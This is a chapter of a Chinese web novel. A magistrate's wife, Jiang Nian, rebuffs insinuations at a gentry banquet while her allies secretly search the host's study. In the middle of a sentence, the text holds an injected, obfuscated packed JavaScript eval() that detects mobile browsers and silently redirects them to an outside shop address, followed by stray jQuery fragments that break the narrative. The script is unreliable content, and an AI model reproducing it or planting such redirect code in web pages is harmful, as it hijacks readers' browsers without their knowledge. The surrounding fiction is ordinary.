三日后,张府,人来人往。
祭社后开宴酬谢乡邻,是大梁各地都有的风俗。张家近来名声受损,也存着借这场宴席挽回声望的心思,因此办得格外气派。
府外搭起数排长棚,鸡鸭鱼肉一筐筐往后厨送,附近百姓早早赶来帮着搭棚、烧火,忙完不仅能吃上一顿,还能带些好菜回家。
而张府后门处,三名护卫正押着三个五花大绑的佃户往里走,其中一人嘴里塞着破布,脸上抹满黑灰,看不清原本模样。
一名护卫骂骂咧咧道:“真是晦气,今日这样的大好日子,偏有庄子上的佃户跑来闹事。”
旁边的人啐了一口:“还不是那个新县令免了进城费。不然这群穷鬼哪进得了城?坏了咱们吃酒的兴致。”
张家为了这几日宴席,从庄子临时调来不少护院,另一名老护卫有些脸生,笑道:
“二位兄弟去前头吧,晚了好酒好菜都让人抢光了。我是庄子来的,随便吃点就好。”
两名护卫对视一眼,倒是个懂事的,神色松快下来:“那把他们关进柴房,看着便是。”
说完,便勾肩搭背地往前院去。
老护卫押着三人走进一间柴房。
房门一关,他立即挺直脊背,抬手撕下脸上的胡须,正是方勇。
两名唯唯诺诺的“佃户”解开绳索,扯下破旧外衫,露出里面的小厮衣裳。他们又把第三人的绳索与衣服解开,露出妇人的衣裳。
此人赫然是失踪多日的张管事。
“我已经把地方画给你们了,该说的也都说了,我不能再来张家,被人认出来......”
方勇一脚踹他跪倒在地:“老子把你从张家手里救出来,你就是这样报答的?你要是不带路,老子就把你丢在这。”
张管事嘴唇哆嗦了一下,脑中又浮现出林二死去的那个夜晚。
他服侍了张秀松那么多年,以为杖责后赶出府已是两清,竟还要取他性命......一旦被张秀松发现他还活着,他的家人,怕是生不如死。
他咬牙道:“别丢下我,我带路。”
几人给他脸上涂抹一番,又换了装扮,片刻后,便把他易容成了一名不起眼的老妇人。
张管事在府中多年,对各处规矩与路线极为熟悉。
由他带着,四人避过几次盘问,穿过假山小径,悄无声息地潜入一处雅致院落。
原本守在书房门口的两名小厮,吃了掺有巴豆的糕饼,此刻已经先后往茅房去了,院中暂时无人看守。
张管事压低声音:“密室在他书房中,一幅山水挂画后,但是我未曾进去过,也不知道有什么机关。”
方勇对两名猎户道:“你们留在这里盯着。小厮回来就打晕,一旦有人发现,立即发讯号,公子会替我们争取时间。”
两人点了点头。
方勇又看向张管事:“走。”
听说还要亲自进入张秀松的书房,他双腿发软,险些当场晕过去。
方勇一把揪住他的后领,将人拖了起来。
“怕什么?速战速决。”
*
张府大门,受邀而来的宾客络绎不绝。
姜念随顾衍之走进府中,沿途风景极为优美。
能在大石县修出如此漂亮的园林,张家真是有钱啊。
到了主院,张秀松满面笑意,出来迎接,与二人客气寒暄几句,便将人引去不同片区。
庭院分作东西两侧,东侧设男宾席,西侧设女眷席,两侧用花木相隔。
宴席尚未开始,今日天朗气清,各处宾客三两聚在一处赏花闲谈。
兰娘也来赴宴,瞧见姜念,热络将她招呼到身旁,低声介绍在场的女眷。
“梨树下那桌,坐在上首的是张乡绅的夫人,王氏。隔壁是宋乡绅的夫人,何氏,也是我婆婆。再过去那位,是张主簿的夫人。”
“王夫人与何夫人出身京城大家,你切记不好得罪。若有人惹得她们不快,不出一日,风言风语便会传遍大石县各家内院。”
姜念顺势看去。
王夫人五十来岁,满头珠翠,面容傲气,淡笑着听着周围人的恭维。
何夫人则五十出头,衣着素雅,瞧着面善,脖颈间挂着一串佛珠。她身旁有两名年轻妇人,盯着兰娘,面色不善。
“那两位是谁?”
兰娘笑容中多了几分无奈:“那是我大嫂和二嫂,也不大好相与。”
姜念理解地点点头,宋家三兄弟的纷争,她也略有耳闻。
东侧宴席,张乡绅带着几名族人围在顾衍之敬茶,谈起今年的田税。
顾衍之含笑听着,偶尔应上一两句,目光却不时望向另一侧的花木长廊。
几人彼此交换了一个眼神,心底生出几分轻视。
皇后离世后,圣上多年未再立中宫。便有不少出身寒门的官员揣摩圣意,刻意经营爱妻重情的清名,妄图借此博得天子青眼。
顾衍之,也是如此。
而顾衍之留意的,并非女眷席,而是一角天空。
忽然,一缕极淡的烟火升起,很快便被风吹散。
有变故。
他收回目光,面上神情未变,只端起茶盏轻抿一口。
姜念坐到宴席上,吃得认真。
这场宴席的厨子,估计下了大功夫,蟹黄羹做得鲜美,清蒸鲈鱼底下垫了许多紫苏,食材天然,鱼肉鲜嫩。
席间谈的无非是去哪儿踏青,京城流行什么服饰,新鲜点心,话题就一拐弯到了兰娘身上。
“兰娘从前也是京城里娇养出来的姑娘,一手点心做得极好,嫁到咱们宋家,倒是没怎么做过了。”
“怕是做过,只给自己那房呢,看不起咱们呢。”
两名娣姒一唱一和,笑得夸张。
兰娘端着茶盏,只当没有听见。
王夫人笑得轻缓:“宋家这样的家业,嫁入哪房又有什么分别?寻常人家的女儿,想当何夫人的新妇,还没有这个福气。”
这回,何夫人想当听不见也不行,她看向兰娘时,语气也多了几分严厉。
“你从京城远嫁而来,娘家又不在身边,平日与娣姒相处,更该谦让有礼些。”
“是,婆婆。”兰娘轻声应道。
姜念坐在一旁,没有开口,这是宋家的家事。
而王夫人看向她,意味深长补充
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757990|208637||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“顾夫人,兰娘与自家娣姒不亲近,和你却是熟悉。你说,她是不是瞧不上宋家,反倒看上顾家了?”
这话一出,兰娘的脸色顿时有些发白,何夫人的温和笑意也挂不住。
其余女眷也都噤了声,这样的话若传出去,风言风语能把兰娘淹没。
姜念无声叹了口气。
就知道,总有人喜欢主动把脸凑过来,找抽。
“夫人这话,倒真容易让人误解。”
“不知顾夫人,有何高见?”王夫人笑意轻慢。
姜念也笑了,笑得温软:“知道是高见,就仔细听好。”
王夫人的笑容僵在脸上。
“兰娘与我投缘,平日多说几句话,到了王夫人口中,便成了别有心思。那么王夫人今日与张夫人、宋夫人谈笑许久,又该如何解释?”
“莫不是瞧不上自家夫君,反倒看上了宋乡绅,或是张主簿?”
这顾夫人可真敢说啊。
众人望向她的目光,各有异样。
王夫人沉声呵斥:“顾夫人,你这是强词夺理!”
“原来王夫人也明白何为强词夺理,那么更该明白,女子嫁人,是结两姓之好,并非卖与夫家。兰娘与我亲近,既没有坏宋家的规矩,也没有损伤谁的颜面。”
几名年轻新妇悄然抬头,望向姜念的眼睛隐隐发亮。
兰娘怔怔看着姜念,原本紧绷的手指也松开。
王夫人的脸色有些难看,本想借机敲打姜念,反倒被她几句话架到了台上。
“顾夫人当真明白事理,”她冷笑唤道:“来人,添茶。免得说了这样许久,口干舌燥。”
张主簿夫人立即朝旁边丫鬟使了个眼色。
那丫鬟正想上前,却看见是王妈妈亲自端起茶盏,便犹豫了片刻。
“顾夫人,请用茶。”
王妈妈走到席旁,脚下忽然踉跄,手中的茶盏顿时朝姜念身上倾去。
姜念早有防备,侧身避开大半,衣袖和裙摆仍被茶水打湿了一片。
席间响起一阵低呼。
王妈妈马上朝着姜念跪下,嘴里不住告罪:“老奴该死,老奴一时没有站稳,还请顾夫人恕罪。”
王夫人意味深长道:“顾夫人是明白事理之人,怎会怪你呢?”
四周彻底安静下来。
姜念目光沉下,正欲开口,身后忽然传来一阵纷乱的脚步声。
顾衍之大步走来,身后紧跟着张乡绅等一众人。
他将一件带着药香的外袍披在她肩头,把湿了的衣裙遮掩起来。
姜念怔然抬头,撞入他一双沉冷的眼睛。
他垂眸看向她衣袖上的水渍,又缓缓移向跪在地上的王妈妈,最后淡漠看着王夫人,声音不怒自威:
“这是怎么回事?”
王夫人强笑道:“顾大人,不过是下人一时失手,不是什么大事。”
“不是什么大事?”
他淡淡重复了一遍,伸手取过席上的一壶甜酒,放到姜念面前。
庭院安静下来,所有人都看着那壶酒。
而顾衍之看着姜念,温和道:“夫人,你泼回去,还是我泼?”